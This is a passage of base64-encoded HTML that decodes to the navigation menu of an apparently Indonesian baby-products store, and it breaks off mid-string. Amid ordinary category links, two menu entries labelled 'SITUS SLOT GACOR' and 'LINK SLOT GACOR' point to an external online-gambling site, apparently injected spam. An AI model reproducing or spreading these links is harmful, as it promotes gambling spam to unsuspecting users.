CAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gY29sdW1uIDEgIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvbGk%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsaSBpZD0idmVzaXRlbS04ODQ2MTE3NDIzMDgwNjExNjg4MjczNTAwIiBjbGFzcz0iIG5hdi1pdGVtIGxldmVsMCBzdWJtZW51LWxlZnQgc3ViaG92ZXIgIGRyb3Bkb3duIGxldmVsLXRvcCAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwczovL2t0bS1mc2FpbnN1bmNwLWdhY29yLnBhZ2VzLmRldi8iIHN0eWxlPSJmb250LXNpemU6MTJweDt3aGl0ZS1zcGFjZTogbm93cmFwOyIgY2xhc3M9IiBuYXYtYW5jaG9yIj48c3Bhbj5TSVRVUyBTTE9UIEdBQ09SPC9zcGFuPjxzcGFuIGNsYXNzPSJjYXJldCI%2BPC9zcGFuPjxzcGFuIGNsYXNzPSJvcGVuZXIiPjwvc3Bhbj48L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN1Ym1lbnUgYW5pbWF0ZWQgIGRyb3Bkb3duLW1lbnUiIHN0eWxlPSJhbmltYXRpb24tZHVyYXRpb246IDAuNXM7LXdlYmtpdC1hbmltYXRpb24tZHVyYXRpb246IDAuNXM7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29udGVudC13cmFwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVnYW1lbnUtY29udGVudCIgc3R5bGU9IndpZHRoOjEwMCUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJuYXYtZHJvcGRvd24iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3ciPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tY29sdW1uIDEtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTIgY29sLXNtLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtbi1ibG9jayI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lbmF2IiBzdHlsZT0iYm9yZGVyOiAwcHg7IG92ZXJmbG93OiBzY3JvbGw7IHNjcm9sbGJhci13aWR0aDogbm9uZTsgb3ZlcmZsb3cteDogaGlkZGVuOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRjb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2JlZGRpbmctZnVybml0dXJlL2JsYW5rZXRzLmh0bWwiPnNlbGltdXQ8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gMS0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvYmVkZGluZy1mdXJuaXR1cmUvY292ZXJzLXNoZWV0cy5odG1sIj5iYW50YWwgJmFtcDsgc3ByZWk8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gMS0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvYmVkZGluZy1mdXJuaXR1cmUvY290cy1jb3QtYmVkcy5odG1sIj5yYW5qYW5nIGJheWkgJmFtcDsgYmFsaXRhPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gY29sdW1uIDEgIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tY29sdW1uIDEtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTIgY29sLXNtLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtbi1ibG9jayI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lbmF2IiBzdHlsZT0iYm9yZGVyOiAwcHg7IG92ZXJmbG93OiBzY3JvbGw7IHNjcm9sbGJhci13aWR0aDogbm9uZTsgb3ZlcmZsb3cteDogaGlkZGVuOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRjb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2JlZGRpbmctZnVybml0dXJlL2Z1cm5pdHVyZS5odG1sIj5wZXJhYm90YW48L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gMS0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvYmVkZGluZy1mdXJuaXR1cmUvbWF0dHJlc3Nlcy5odG1sIj5tYXRyYXM8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxpIGlkPSJ2ZXNpdGVtLTg4NDY0MTc0MjMwODA2MTQ1OTYxODAyNCIgY2xhc3M9IiBuYXYtaXRlbSBsZXZlbDAgc3VibWVudS1sZWZ0IHN1YmhvdmVyICBkcm9wZG93biBsZXZlbC10b3AgIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iaHR0cHM6Ly9rdG0tZnNhaW5zdW5jcC1nYWNvci5wYWdlcy5kZXYvIiBzdHlsZT0iZm9udC1zaXplOjEycHg7d2hpdGUtc3BhY2U6IG5vd3JhcDsiIGNsYXNzPSIgbmF2LWFuY2hvciI%2BPHNwYW4%2BTElOSyBTTE9UIEdBQ09SPC9zcGFuPjxzcGFuIGNsYXNzPSJjYXJldCI%2BPC9zcGFuPjxzcGFuIGNsYXNzPSJvcGVuZXIiPjwvc3Bhbj48L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InN1Ym1lbnUgYW5pbWF0ZWQgIGRyb3Bkb3duLW1lbnUiIHN0eWxlPSJ3aWR0aDoxMDAlO2FuaW1hdGlvbi1kdXJhdGlvbjogMC41czstd2Via2l0LWFuaW1hdGlvbi1kdXJhdGlvbjogMC41czsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb250ZW50LXdyYXAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtZWdhbWVudS1jb250ZW50IiBzdHlsZT0id2lkdGg6MTAwJSI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im5hdi1kcm9wZG93biI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gMS0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvZmVlZGluZy1zYWZldHkvYmFieS1ib3R0bGVzLmh0bWwiPmJvdG9sPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW4tYmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtZW5hdiIgc3R5bGU9ImJvcmRlcjogMHB4OyBvdmVyZmxvdzogc2Nyb2xsOyBzY3JvbGxiYXItd2lkdGg6IG5vbmU7IG92ZXJmbG93LXg6IGhpZGRlbjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkY29udGVudCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9mZWVkaW5nLXNhZmV0eS9zdGVyaWxpemVycy1hbmQtd2FybWVycy5odG1sIj5zdGVyaWxpemVyICZhbXA7IHdhcm1lcnM8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gMS0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvZmVlZGluZy1zYWZldHkvc29vdGhlcnMtYW5kLXRlZXRoZXJzLmh0bWwiPnNvb3RoZXJzICZhbXA7IHRlZXRoZXJzPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibW4tYmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtZW5hdiIgc3R5bGU9ImJvcmRlcjogMHB4OyBvdmVyZmxvdzogc2Nyb2xsOyBzY3JvbGxiYXItd2lkdGg6IG5vbmU7IG92ZXJmbG93LXg6IGhpZGRlbjsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJoZWFkY29udGVudCI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9mZWVkaW5nLXNhZmV0eS9iaWJzLmh0bWwiPmNlbGVtZWs8L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gMy0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD5hbGF0IG1ha2FuPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJ0ZV9heiIgc3R5bGU9InBhZGRpbmc6MDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGkgY2xhc3M9ImtzX2NvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD48YSBocmVmPSIvZmVlZGluZy1zYWZldHkvdGFibGV3YXJlL2N1cHMuaHRtbCI%2BY2FuZ2tpcjwvYT48L3A%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwPjxhIGhyZWY9Ii9mZWVkaW5nLXNhZmV0eS90YWJsZXdhcmUvYm93bHMtcGxhdGVzLmh0bWwiPnBpcmluZyAmYW1wOyBtYW5na3VrPC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2ZlZWRpbmctc2FmZXR5L3RhYmxld2FyZS9zcG9vbnMtZm9ya3MuaHRtbCI%2Bc2VuZG9rICZhbXA7IGdhcnB1PC9hPjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9saT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gMy0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tY29sdW1uIDUtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sLW1kLTIgY29sLXNtLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtbi1ibG9jayI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lbmF2IiBzdHlsZT0iYm9yZGVyOiAwcHg7IG92ZXJmbG93OiBzY3JvbGw7IHNjcm9sbGJhci13aWR0aDogbm9uZTsgb3ZlcmZsb3cteDogaGlkZGVuOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRjb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2ZlZWRpbmctc2FmZXR5L2Zvb2QtcHJvY2Vzc29yLmh0bWwiPnBlbmdvbGFoIG1ha2FuYW48L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJtbi1ibG9jayI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1lbmF2IiBzdHlsZT0iYm9yZGVyOiAwcHg7IG92ZXJmbG93OiBzY3JvbGw7IHNjcm9sbGJhci13aWR0aDogbm9uZTsgb3ZlcmZsb3cteDogaGlkZGVuOyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImhlYWRjb250ZW50Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iL2ZlZWRpbmctc2FmZXR5L2Zvb2QuaHRtbCI%2BbWFrYW5hbiAmYW1wOyBtdWx0aXZpdGFtaW48L2E%2BPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBjb2x1bW4gNSAgLS0%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS1jb2x1bW4gNS0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtMiBjb2wtc20tMyI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1uLWJsb2NrIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWVuYXYiIHN0eWxlPSJib3JkZXI6IDBweDsgb3ZlcmZsb3c6IHNjcm9sbDsgc2Nyb2xsYmFyLXdpZHRoOiBub25lOyBvdmVyZmxvdy14OiBoaWRkZW47Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iaGVhZGNvbnRlbnQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD5hbGF0IG1lbnl1c3VpPC9wPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHVsIGNsYXNzPSJ0ZV9heiIgc3R5bGU9InBhZGRpbmc6MDsiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgI